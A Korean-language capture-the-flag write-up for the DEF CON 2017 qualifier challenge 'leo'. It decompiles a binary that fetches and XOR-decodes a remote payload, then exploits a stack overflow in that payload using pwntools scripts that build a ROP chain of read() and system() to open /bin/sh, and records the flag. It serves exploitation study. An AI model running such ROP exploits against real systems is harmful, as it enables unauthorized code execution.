Excuse the ads! We need some help to keep our site up.
List
Infomation
Description
You boys like Mexico?!
leo_33e299c29ed3f0113f3955a4c6b08500.quals.shallweplayaga.me:61111
Files
File
Source Code
Writeup
File information
lazenca0x0@ubuntu:~/CTF/DEFCON2017/leo$ file leo leo: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=5fa0449905a79b55301d9ff35c76c83d01720f1f, stripped lazenca0x0@ubuntu:~/CTF/DEFCON2017/leo$ checksec.sh --file leo RELRO STACK CANARY NX PIE RPATH RUNPATH FILE Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH leo lazenca0x0@ubuntu:~/CTF/DEFCON2017/leo$
Binary analysis
Setting
- 해당 문제를 풀기 위해 사전에 다음과 같은 설정이 필요합니다.
- apache 서버 실행
- Kali linux에는 apache가 기본적으로 설치되어 있습니다.
Web server start
root@kali:~# service apache2 start
- "23fsf251l10o121415" 파일 업로드
- 해당 문제를 풀기 위해 해당 파일을 다음과 같은 경로에 업로드 합니다.
- VMware를 이용할 경우 Drag&Drop으로 업로드하면 됩니다.
- Drag & Drop 기능을 사용할 수 없을 때 다음과 같이 명령어를 실행합니다.
File upload
lazenca0x0@ubuntu:~# scp 23fsf251l10o121415 root@192.168.239.156:/var/www/html/
- 호스트명 변경
- 해당 문제를 풀기 위해서는 반드시 다음과 같이 Host 파일의 내용 변경이 필요합니다.
Host file change
lazenca0x0@ubuntu:~/CTF/DEFCON/Leo$ sudo -i root@ubuntu:~# echo leo_33e299c29ed3f0113f3955a4c6b08500.quals.shallweplayaga.me >> /etc/hostname root@ubuntu:~# echo "192.168.239.156 leo_33e299c29ed3f0113f3955a4c6b08500.quals.shallweplayaga.me" >> /etc/hosts
status check for web server.
lazenca0x0@ubuntu:~/CTF/DEFCON/Leo$ wget http://leo_33e299c29ed3f0113f3955a4c6b08500.quals.shallweplayaga.me/23fsf251l10o121415 --2017-06-14 23:54:06-- http://leo_33e299c29ed3f0113f3955a4c6b08500.quals.shallweplayaga.me/23fsf251l10o121415 Resolving leo_33e299c29ed3f0113f3955a4c6b08500.quals.shallweplayaga.me (leo_33e299c29ed3f0113f3955a4c6b08500.quals.shallweplayaga.me)... 192.168.239.156 Connecting to leo_33e299c29ed3f0113f3955a4c6b08500.quals.shallweplayaga.me (leo_33e299c29ed3f0113f3955a4c6b08500.quals.shallweplayaga.me)|192.168.239.156|:80... connected. HTTP request sent, awaiting response... 200 OK Length: 110 Saving to: '23fsf251l10o121415.1' 100%[===================================================================================================================================================================>] 110 --.-K/s in 0s 2017-06-14 23:54:06 (25.4 MB/s) - '23fsf251l10o121415.1' saved [110/110] lazenca0x0@ubuntu:~/CTF/DEFCON/Leo$
.init_array
- 해당 함수는 main() 함수가 호출되기 전에 .init_array영역에서 호출됩니다.
- 아래 init()함수에서 off_603DF8[] 에 의해 "0x4013CF" 영역의 함수가 호출됩니다.
init()
void __fastcall init(unsigned int a1, __int64 a2, __int64 a3)
{
__int64 v3; // r13@1
__int64 v4; // rbx@1
signed __int64 v5; // rbp@1
v3 = a3;
v4 = 0LL;
v5 = &off_603E08 - off_603DF8;
init_proc();
if ( v5 )
{
do
((void (__fastcall *)(_QWORD, __int64, __int64))off_603DF8[v4++])(a1, a2, v3);
while ( v4 != v5 );
}
}
- 해당 함수는 다음과 같은 기능을 합니다.
curl_easy_setopt() 함수를 아래 URL의 내용을 가져오기 위한 설정을 진행합니다.
- "http://leo_33e299c29ed3f0113f3955a4c6b08500.quals.shallweplayaga.me/23fsf251l10o121415"
- CURLOPT_URL : 10002
- CURLOPT_WRITEFUNCTION : 20011
- CURLOPT_WRITEDATA : 10001
- CURLOPT_USERAGENT : 10018
- curl_easy_perform() 함수를 이용해 해당 페이지(파일)의 내용을 addr 영역에 저장합니다.
mprotect() 함수를 이용해 addr 영역에 읽기, 쓰기, 실행 권한을 할당합니다.
- addr영역에 저장된 값은 xor 연산을 이용해 복호화 됩니다.(Key : 0xAA)
Load file() - 0x4013CF
__int64 __fastcall sub_4013CF(__int64 a1, char **a2)
{
char *v2; // rax@1
size_t v3; // rsi@1
char *moduleName; // rax@3
__int64 v5; // rax@7
size_t v6; // rsi@12
__int64 v7; // rdi@18
char errMsgMprotect[18]; // [rsp+10h] [rbp-170h]@1
char errMsgModuleNotFound[17]; // [rsp+30h] [rbp-150h]@1
char v12[68]; // [rsp+50h] [rbp-130h]@1
__int64 v13; // [rsp+120h] [rbp-60h]@9
int v14; // [rsp+12Ch] [rbp-54h]@9
unsigned int v15; // [rsp+130h] [rbp-50h]@6
int v16; // [rsp+134h] [rbp-4Ch]@6
int v17; // [rsp+138h] [rbp-48h]@6
int v18; // [rsp+13Ch] [rbp-44h]@6
int v19; // [rsp+140h] [rbp-40h]@5
int v20; // [rsp+144h] [rbp-3Ch]@4
__int64 v21; // [rsp+148h] [rbp-38h]@3
int (*v22)(const char *); // [rsp+150h] [rbp-30h]@1
size_t alignment; // [rsp+158h] [rbp-28h]@1
int v24; // [rsp+164h] [rbp-1Ch]@1
int errCode; // [rsp+168h] [rbp-18h]@1
int i; // [rsp+16Ch] [rbp-14h]@15
v24 = 0;
errMsgModuleNotFound[0] = 'm';
errMsgModuleNotFound[1] = 'o';
errMsgModuleNotFound[2] = 'd';
errMsgModuleNotFound[3] = 'u';
errMsgModuleNotFound[4] = 'l';
errMsgModuleNotFound[5] = 'e';
errMsgModuleNotFound[6] = ' ';
errMsgModuleNotFound[7] = 'n';
errMsgModuleNotFound[8] = 'o';
errMsgModuleNotFound[9] = 't';
errMsgModuleNotFound[10] = ' ';
errMsgModuleNotFound[11] = 'f';
errMsgModuleNotFound[12] = 'o';
errMsgModuleNotFound[13] = 'u';
errMsgModuleNotFound[14] = 'n';
errMsgModuleNotFound[15] = 'd';
errMsgModuleNotFound[16] = '\0';
errMsgMprotect[0] = 'm';
errMsgMprotect[1] = 'p';
errMsgMprotect[2] = 'r';
errMsgMprotect[3] = 'o';
errMsgMprotect[4] = 't';
errMsgMprotect[5] = 'e';
errMsgMprotect[6] = 'c';
errMsgMprotect[7] = 't';
errMsgMprotect[8] = '(';
errMsgMprotect[9] = ')';
errMsgMprotect[10] = ' ';
errMsgMprotect[11] = 'f';
errMsgMprotect[12] = 'a';
errMsgMprotect[13] = 'i';
errMsgMprotect[14] = 'l';
errMsgMprotect[15] = 'e';
errMsgMprotect[16] = 'd';
errMsgMprotect[17] = 0;
strcpy(v12, "http://leo_33e299c29ed3f0113f3955a4c6b08500.quals.shallweplayaga.me/");
errCode = 0x58C3;
v2 = __xpg_basename(*a2);
openlog(v2, 8, 8);
alignment = sysconf(30);
v22 = system;
v3 = alignment;
errCode = posix_memalign(&addr, alignment, 2 * alignment);
if ( errCode )
exit(-1);
len = 2 * alignment;
qword_6041A0 = 0LL;
curl_global_init(3LL, v3);
v21 = curl_easy_init(3LL);
moduleName = &v12[strlen(v12)];
*(_QWORD *)moduleName = '152fsf32';
*((_QWORD *)moduleName + 1) = '4121o01l';
*((_WORD *)moduleName + 8) = '51';
moduleName[18] = 0;
if ( v24 )
{
v19 = 10002;
curl_easy_setopt(v21, 10002LL, a2[v24]); // CURLOPT_URL
}
else
{
v20 = 10002;
curl_easy_setopt(v21, 10002LL, v12);
}
v18 = 20011;
curl_easy_setopt(v21, 20011LL, contentCopyToHeap);// CURLOPT_WRITEFUNCTION
v17 = 10001;
curl_easy_setopt(v21, 10001LL, &addr); // CURLOPT_WRITEDATA
v16 = 10018;
curl_easy_setopt(v21, 10018LL, "libcurl-agent/1.0");// CURLOPT_USERAGENT
v15 = curl_easy_perform(v21);
if ( v15 )
{
v5 = curl_easy_strerror(v15);
syslog(3, "curl_easy_perform() failed: %s", v5, a2);
exit(-1);
}
v14 = 2097154;
curl_easy_getinfo(v21, 2097154LL, &v13);
if ( v13 == 404 )
{
syslog(3, errMsgModuleNotFound, a2);
exit(-1);
}
v6 = len;
errCode = mprotect(addr, len, 7);
if ( errCode )
{
syslog(3, errMsgMprotect, a2);
exit(-1);
}
for ( i = 0; i < len; ++i )
*((_BYTE *)addr + i) ^= 0xAA;
v7 = v21;
curl_easy_cleanup(v21, v6);
return curl_global_cleanup(v7);
}
Main()
해당 함수는 다음과 같은 기능을 합니다.
- read()함수를 이용해 16000개의 문자를 입력 받습니다.
checkZero(), checkDataSize()함수를 이용해 buffer에 저장된 data의 크기를 확인합니다.
- getData() 함수를 호출하면 값을 리턴하며, 리턴된 값은 if()를 이용해 조건에 만족하는지 확인합니다.
- 중요한 부분은 다음과 같습니다.
- if()에서 같은 값을 찾는 조건 값 : 49, 50, 100, 2, 25
- 앞에서 언급한 조건 값이 아닐 경우 ".init_array" 영역에서 할당된 addr 함수가 호출됩니다.
unsigned int __fastcall main(signed int argc, char **option, char **a3)
{
signed int data; // eax@33 MAPDST
char url[80]; // [rsp+10h] [rbp-3F70h]@1
char welcomeMSG[112]; // [rsp+60h] [rbp-3F20h]@20
char buffer[16000]; // [rsp+D0h] [rbp-3EB0h]@23
__int64 functionCall; // [rsp+3F58h] [rbp-28h]@29
__int64 len; // [rsp+3F60h] [rbp-20h]@23
int v10; // [rsp+3F6Ch] [rbp-14h]@17
int i; // [rsp+3F74h] [rbp-Ch]@4
__int64 readedSize; // [rsp+3F78h] [rbp-8h]@23
data = 0;
strcpy(url, "http://leo_33e299c29ed3f0113f3955a4c6b08500.quals.shallweplayaga.me/");
openlog(*option, 8, 8);
src = url;
if ( argc > 2 )
{
if ( argc != 3 && argc != 5 )
{
syslog(3, "Bad command line.", option);
exit(-1);
}
for ( i = 1; argc - 1 > i; ++i )
{
if ( !strcmp(option[i], "-u") && argc - 1 != i )
src = option[i + 1LL];
if ( !strcmp(option[i], "-D") && argc - 1 != i )
{
puts(option[i + 1LL]);
path = option[i + 1LL];
}
}
}
if ( path )
{
v10 = chdir(path);
if ( v10 == -1 )
{
syslog(3, "Error setting working directory", option);
exit(-1);
}
}
if ( (unsigned int)readWelcomMSG(welcomeMSG, 100) )
{
puts("\nNo welcome message or hint text found. You are on your own, Bucko.\n");
fflush(stdout);
}
else
{
puts(welcomeMSG);
}
memset(buffer, 0, 16000uLL);
len = 0LL;
readedSize = 0LL;
do
{
len = read(0, &buffer[readedSize], 16000 - readedSize);
if ( len == -1 )
{
syslog(3, "Error reading from STDIN...exiting", option);
exit(-1);
}
if ( !len )
break;
readedSize += len;
}
while ( readedSize != 16000 );
functionCall = (__int64)checkZero;
if ( (unsigned int)checkZero(buffer, readedSize) == -1 )
{
puts("There appears to be no data.... did you send some?");
fflush(stdout);
return 0;
}
functionCall = (__int64)checkDataSize;
if ( (unsigned int)checkDataSize(buffer, readedSize) == -1 )
{
puts("I need more data to analyze.");
fflush(stdout);
return 0;
}
functionCall = (__int64)getData;
data = getData(buffer, readedSize);
if ( data == 49 )
{
puts("This is ASCII text.");
fflush(stdout);
functionCall = (__int64)sub_401C3B;
sub_401C3B(buffer, readedSize);
}
else if ( data > 49 )
{
if ( data == 50 )
{
puts("This is ASCII data.");
fflush(stdout);
functionCall = (__int64)checkDataSize;
checkDataSize(buffer, readedSize);
}
else
{
if ( data != 100 )
{
LABEL_46:
puts("This doesn't match my patterns. Checking...");
fflush(stdout);
functionCall = (__int64)addr;
((void (__fastcall *)(char *, _QWORD))addr)(buffer, (unsigned int)readedSize);
goto LABEL_47;
}
puts("Its an executable? Let's see what 'file' says...");
fflush(stdout);
functionCall = (__int64)fileTest;
fileTest(buffer, readedSize);
}
}
else
{
if ( data == 2 )
{
puts("Data appears to be encrypted or very random. Further tests aborted.");
fflush(stdout);
return 2;
}
if ( data != 25 )
goto LABEL_46;
puts("I guess its binary data. Let's see what 'file' says...");
fflush(stdout);
functionCall = (__int64)fileTest;
fileTest(buffer, readedSize);
}
LABEL_47:
closelog();
fflush(stdout);
return sleep(1u);
}
getData()
- 해당 함수는 다음과 같은 기능을 합니다.
- for()를 이용해 tmp[][] 의 값을 초기화 합니다.
- for()를 이용해 buffer[i]의 값을 추출해서 tmp[][1]의 첫번째 배열에 전달합니다.
- tmp[buffer[i]][1] 영역의 값을 1 증가 시킵니다.
- Ex) buffer[1] 에 저장된 값이 3이라면 "++tmp[1][1]" 영역에 값을 1증가 시킵니다.
- for()를 이용해 tmp[i][1] 영역에서 제일 큰 값과 제일 작은 값을 maxValOne, minValOne에 저장합니다.
- sumVal에 tmp[i][1]에 저장된 모든 값을 더한 후 ">> 8" 연산한 값을 저장합니다.
- reSort() 함수를 호출합니다.
- for()를 이용해 tmp[i][1] 영역에서 '0'을 제외한 값중에서 제일 큰 값과 제일 작은 값을 minValZero, maxValZero에 저장합니다.
zeroCount에 tmp[i][1] 영역에 저장된 '0' 갯수를 저장합니다.
- 이렇게 연산된 값들은 if()에 의해 각 조건을 만족하면 특정 값들을 리턴합니다.
- 리턴되는 값 : 2, 100, 22, 25, 49, 50
- 여기서 중요한 부분은 main() 함수에서 사용하는 조건 값에 22는 포함되어 있지 않습니다.
- 즉, 해당 값으로 addr 을 호출할 수 있습니다.
signed __int64 __fastcall getData(char *buffer, int size)
{
signed __int64 result; // rax@25
unsigned int tmp[256][2]; // [rsp+10h] [rbp-820h]@2
unsigned int maxValZero; // [rsp+814h] [rbp-1Ch]@1
unsigned int minValZero; // [rsp+818h] [rbp-18h]@1
unsigned int zeroCount; // [rsp+81Ch] [rbp-14h]@1
unsigned int sumVal; // [rsp+820h] [rbp-10h]@1
unsigned int minValOne; // [rsp+824h] [rbp-Ch]@1
unsigned int maxValOne; // [rsp+828h] [rbp-8h]@1
int i; // [rsp+82Ch] [rbp-4h]@1
maxValOne = 0;
minValOne = 0xFFFFFFFF;
sumVal = 0;
zeroCount = 0;
minValZero = 0x1FF;
maxValZero = 0;
for ( i = 0; i <= 255; ++i )
{
tmp[i][0] = i;
tmp[i][1] = 0;
}
for ( i = 0; i < size; ++i )
++tmp[(unsigned __int8)buffer[i]][1];
for ( i = 0; i <= 255; ++i )
{
if ( tmp[i][1] > maxValOne )
maxValOne = tmp[i][1];
if ( tmp[i][1] < minValOne )
minValOne = tmp[i][1];
sumVal += tmp[i][1];
}
sumVal >>= 8;
reSort((bins *)tmp, 256);
for ( i = 0; i <= 255; ++i )
{
if ( tmp[i][1] )
{
if ( tmp[i][0] < minValZero )
minValZero = tmp[i][0];
if ( tmp[i][0] > maxValZero )
maxValZero = tmp[i][0];
}
else
{
++zeroCount;
}
}
if ( zeroCount <= 4 && 10 * sumVal > maxValOne )
return 2LL;
if ( maxValZero > 0x7F || minValZero <= 8 )
{
if ( minValOne && 10 * sumVal < maxValOne )
{
result = 100LL;
}
else if ( minValOne || 2 * sumVal >= maxValOne )
{
result = 22LL;
}
else
{
result = 25LL;
}
}
else if ( tmp[255][0] == 32 )
{
result = 49LL;
}
else
{
result = 50LL;
}
return result;
}
reSort()
- 해당 함수는 다음과 같은 기능을 합니다.
- for()를 이용해 'tmps[j][1]' 의 값이 'tmps[j + 1][1]' 의 값 보다 크다면, 'tmps[j][0,1]' 영역의 값과 'tmps[j + 1][0,1]' 영역의 값을 교환합니다.
__int64 __fastcall reSort(bins *tmp, int size256)
{
unsigned int valueZero; // ST14_4@4
unsigned int valueOne; // ST10_4@4
__int64 result; // rax@8
int j; // [rsp+14h] [rbp-8h]@2
signed int i; // [rsp+18h] [rbp-4h]@1
for ( i = 0; ; ++i )
{
result = (unsigned int)(size256 - 1);
if ( (signed int)result <= i )
break;
for ( j = 0; size256 - i - 1 > j; ++j )
{
if ( tmp->tmps[j][1] > tmp->tmps[j + 1][1] )
{
valueZero = tmp->tmps[j + 1LL][0];
valueOne = tmp->tmps[j + 1][1];
tmp->tmps[j + 1LL][0] = tmp->tmps[j][0];
tmp->tmps[j + 1][1] = tmp->tmps[j][1];
tmp->tmps[j][0] = valueZero;
tmp->tmps[j][1] = valueOne;
}
}
}
return result;
}
addr()
- 다음과 같은 방법으로 addr 영역을 호출합니다.
- 우선 getData() 함수로 부터 22를 리턴 받지 못하고 있기 때문에 디버깅을 통해 해당 값을 다음과 같은 방법으로 변경합니다.
set $eax = 22
gdb-peda$ b *0x402079 Breakpoint 1 at 0x402079 gdb-peda$ c Continuing. Breakpoint 1, 0x0000000000402079 in ?? () gdb-peda$ i r eax eax 0x32 0x32 gdb-peda$ p/d 0x32 $1 = 50 gdb-peda$ set $eax = 22 gdb-peda$ i r eax eax 0x16 0x16 gdb-peda$ p/d 0x16 $2 = 22 gdb-peda$
- 다음과 같이 GDB를 이용해 Heap 영역에 저장된 코드를 확인할 수 있습니다.
Assembly code - addr()
gdb-peda$ b *0x4021FE Breakpoint 2 at 0x4021fe gdb-peda$ c Continuing. Breakpoint 2, 0x00000000004021fe in ?? () gdb-peda$ i r rax rax 0x971000 0x971000 gdb-peda$ gdb-peda$ x/40i 0x971000 0x971000: push rbp 0x971001: mov rbp,rsp 0x971004: mov QWORD PTR [rbp-0x28],rdi 0x971008: mov DWORD PTR [rbp-0x2c],esi 0x97100b: mov eax,DWORD PTR [rbp-0x2c] 0x97100e: mov edx,eax 0x971010: shr edx,0x1f 0x971013: add eax,edx 0x971015: sar eax,1 0x971017: add eax,0x1 0x97101a: mov DWORD PTR [rbp-0x8],eax 0x97101d: mov DWORD PTR [rbp-0x4],0x11 0x971024: mov DWORD PTR [rbp-0x4],0x0 0x97102b: jmp 0x971060 0x97102d: mov eax,DWORD PTR [rbp-0x2c] 0x971030: mov edx,eax 0x971032: shr edx,0x1f 0x971035: add eax,edx 0x971037: sar eax,1 0x971039: add eax,0x1 0x97103c: cmp eax,DWORD PTR [rbp-0x8] 0x97103f: jne 0x97106b 0x971041: mov eax,DWORD PTR [rbp-0x4] 0x971044: movsxd rdx,eax 0x971047: mov rax,QWORD PTR [rbp-0x28] 0x97104b: add rax,rdx 0x97104e: movzx eax,BYTE PTR [rax] 0x971051: mov edx,eax 0x971053: mov eax,DWORD PTR [rbp-0x4] 0x971056: cdqe 0x971058: mov BYTE PTR [rbp+rax*1-0x20],dl 0x97105c: add DWORD PTR [rbp-0x4],0x1 0x971060: mov eax,DWORD PTR [rbp-0x4] 0x971063: cmp eax,DWORD PTR [rbp-0x2c] 0x971066: jl 0x97102d 0x971068: nop 0x971069: jmp 0x97106c 0x97106b: nop 0x97106c: pop rbp 0x97106d: ret gdb-peda$
- 해당 코드를 디컴파일하면 다음과 같은 코드를 얻을 수 있습니다.
- 해당 함수는 다음과 같은 기능을 합니다.
- for()를 이용해 'stackOverFlow[]' 영역에 '*buffer'에 저장된 데이터를 저장합니다.
- 취약성은 여기서 발생합니다.
- stackOverFlow의 크기는 24byte 입니다.
- 이로 인해 사용자가 입력한 값이 해당 함수의 Return address영역을 덮어쓸수 있습니다.
- 여기서 주의 할 점은 다음과 같습니다.
- i, half 영역도 buffer의 데이터로 덮어써집니다.
- 이로 인해 if()에서 요구하는 조건을 만족하지 못해 프로그램이 종료됩니다.
addr()
__int64 __fastcall sub_15F6000(char *buffer, signed int readSize)
{
__int64 result; // rax@2
char stackOverFlow[24]; // [rsp+Ch] [rbp-20h]@3
int half; // [rsp+24h] [rbp-8h]@1
int i; // [rsp+28h] [rbp-4h]@1
half = readSize / 2 + 1;
for ( i = 0; ; ++i )
{
result = (unsigned int)i;
if ( i >= readSize )
break;
result = (unsigned int)(readSize / 2 + 1);
if ( (_DWORD)result != half )
break;
stackOverFlow[i] = buffer[i];
}
return result;
}
- 다음과 같은 코드를 이용해 Stack Overflow를 확인할 수 있습니다.
- i, half 는 int형 이기 때문에 4byte로 데이터를 전달 합니다.
half(0x1f41) = 16000 / 2 + 1
- i(0x1d) = 24(stackOverFlow size) + 4(half size) + 1
- i, half 는 int형 이기 때문에 4byte로 데이터를 전달 합니다.
from pwn import *
p = process('./leo')
data = 'AAAAAAAA' * 3
data += p32(0x1f41)
data += p32(0x1d)
data += 'BBBBBBBB'
data += 'CCCCCCCC'
data += 'D' * (16000 - len(data))
sleep(20)
p.send(data)
p.interactive()
Stack overflow
- 다음과 같이 Segmentation fault을 확인 할 수 있습니다.
Breakpoint 2, 0x00000000004021fe in ?? () gdb-peda$ i r rax rax 0x1797000 0x1797000 gdb-peda$ b *0x1797000 Breakpoint 3 at 0x1797000 gdb-peda$ c Continuing. Breakpoint 3, 0x0000000001797000 in ?? () gdb-peda$ x/40i $rip => 0x1797000: push rbp 0x1797001: mov rbp,rsp ... 0x179706b: nop 0x179706c: pop rbp 0x179706d: ret gdb-peda$ b *0x179706d Breakpoint 4 at 0x179706d gdb-peda$ c Continuing. 0x000000000179706d in ?? () gdb-peda$ i r rsp rsp 0x7ffe58bf5cd8 0x7ffe58bf5cd8 gdb-peda$ x/4gx 0x7ffe58bf5cd8 0x7ffe58bf5cd8: 0x4343434343434343 0x4444444444444444 0x7ffe58bf5ce8: 0x4444444444444444 0x4444444444444444 gdb-peda$ ni Program received signal SIGSEGV, Segmentation fault.
Structure of Exploit code
- getData() 함수로 부터 22 를 리턴받아 addr() 함수를 호출
- addr() 함수의 Return address 영역을 ROP 로 덮어씀
- read(0, bss, size)
- system(bss)
- The following information is required for an attack:
- getData() 함수로 부터 '22' 를 리턴 받을 수 있는 Data 구성
- ROP Gadget
Information for attack
ROP Gadget
다음과 같은 방법으로 필요한 Gadget을 얻을 수 있습니다.
ropsearch 'pop rdi'
gdb-peda$ ropsearch 'pop rdi' Searching for ROP gadget: 'pop rdi' in: binary ranges 0x00402703 : (b'5fc3') pop rdi; ret gdb-peda$
- 해당 바이너리에 찾은 'pop rsi' Gadget에 'pop r15' 포함되어 있지만 문제가 되지 않습니다.
gdb-peda$ ropsearch 'pop rsi' Searching for ROP gadget: 'pop rsi' in: binary ranges 0x00402701 : (b'5e415fc3') pop rsi; pop r15; ret gdb-peda$
해당 바이너리에 'pop rdx' Gadget이 존재하지 않습니다.
gdb-peda$ ropsearch 'pop rdx' Searching for ROP gadget: 'pop rdx' in: binary ranges Not found gdb-peda$
- 'pop rdx' Gadget이 필요한지 확인해보겠습니다.
- 'ret' 명령어가 호출될 때 'rdx' 레지스터에는 buffer 영역의 마지막에 저장된 'D(0x44)'가 저장되어 있습니다.
- 즉, 'pop rdx' Gadget 은 필요하지 않습니다.
- buffer 마지막 영역에 저장되는 값이 0x7 이상의 값을 저장하면 됩니다..
Breakpoint 2, 0x00000000004021fe in ?? () gdb-peda$ i r rax rax 0x95b000 0x95b000 gdb-peda$ b *0x95b000 Breakpoint 3 at 0x95b000 gdb-peda$ c Continuing. Breakpoint 3, 0x000000000095b000 in ?? () gdb-peda$ x/40i 0x95b000 => 0x95b000: push rbp 0x95b001: mov rbp,rsp ... 0x95b068: nop 0x95b069: jmp 0x95b06c 0x95b06b: nop 0x95b06c: pop rbp 0x95b06d: ret gdb-peda$ b *0x95b06d Breakpoint 4 at 0x95b06d gdb-peda$ c Continuing. Breakpoint 4, 0x000000000095b06d in ?? () gdb-peda$ i r rdx rdx 0x44 0x44 gdb-peda$
Get 22 from getData() function
- 우선 다음과 같은 POC 코드를 작성할 수 있습니다.
from pwn import *
FILEPATH = './leo'
rdi = 0x00402703
rsi = 0x00402701
elf = ELF(FILEPATH)
p = process(FILEPATH)
data = 'AAAAAAAA' * 3
data += p32(0x1f41) # half
data += p32(0x1d) # i
data += p64(0)
#read(0,bss,size)
data += p64(rdi)
data += p64(0)
data += p64(rsi)
data += p64(elf.bss())
data += p64(0)
data += p64(elf.plt['read'])
#system(bss)
data += p64(rdi)
data += p64(elf.bss())
data += p64(elf.plt['system'])
data += 'D' * (16000 - len(data))
sleep(20)
p.send(data)
p.send('/bin/sh')
p.interactive()
- 우선 첫번째 if() 조건은 zeroCount의 값을 4 이상 값으로 저장해서 통과 할 수 있습니다.
- 두번째, 세번째 if() 조건은 'minValOne', 'minValZero'의 값이 zeroCount에 의해 0이 되기 때문에 통과 할 수 있습니다.
마지막 if() 조건을 만족시키기 위해서 "2 * sumVal >= maxValOne" 조건의 결과로 참(True)을 얻어야 합니다.
- 조건에서 참(True)을 얻기위해 알아야 할 정보는 다음과 같습니다.
- sumVal는 0x3e(62)을 넘을 수 없습니다.
- 즉, maxValOne의 값이 127 보다 작으면 해당 조건에서 참(True)을 얻을 수 있습니다.
- (16000(buffer size) >> 8) * 2= 0x7c(124)
- 조건에서 참(True)을 얻기위해 알아야 할 정보는 다음과 같습니다.
...
if ( zeroCount <= 4 && 10 * sumVal > maxValOne )
return 2LL;
if ( maxValZero > 127 || minValZero <= 8 )
{
if ( minValOne && 10 * sumVal < maxValOne )
{
result = 100LL;
}
else if ( minValOne || 2 * sumVal >= maxValOne )
{
result = 22LL;
}
else
{
...
- 다음과 같은 코드를 이용해 해당 조건을 만족하는 Data를 만들수 있습니다.
for i in range(0,255):
if len(data) < 16000:
valCnt = data.count(chr(i))
if valCnt > 124:
log.info("Warring!")
elif valCnt < 124:
if 16000 - len(data) > 124 - valCnt:
data += chr(i) * (124 - valCnt)
else:
data += chr(i) * (16000 - len(data))
Exploit Code
Exploit code
from pwn import *
FILEPATH = './leo'
rdi = 0x00402703
rsi = 0x00402701
elf = ELF(FILEPATH)
p = process(FILEPATH)
data = ''
for i in range(0,24):
data += chr(i)
data += p32(0x1f41) # half
data += p32(0x1d) # i
data += p64(0)
#read(0,bss,size)
data += p64(rdi)
data += p64(0)
data += p64(rsi)
data += p64(elf.bss())
data += p64(0)
data += p64(elf.plt['read'])
#system(bss)
data += p64(rdi)
data += p64(elf.bss())
data += p64(elf.plt['system'])
print str(len(data))
for i in range(0,255):
if len(data) < 16000:
valCnt = data.count(chr(i))
if valCnt > 124:
log.info("Warring!")
elif valCnt < 124:
if 16000 - len(data) > 124 - valCnt:
data += chr(i) * (124 - valCnt)
else:
data += chr(i) * (16000 - len(data))
sleep(20)
p.send(data)
p.send('/bin/sh')
p.interactive()
Flag
| Flag | 2c641a4386ec64280ca77d1beae6d372 |
|---|
Related Site
- N / a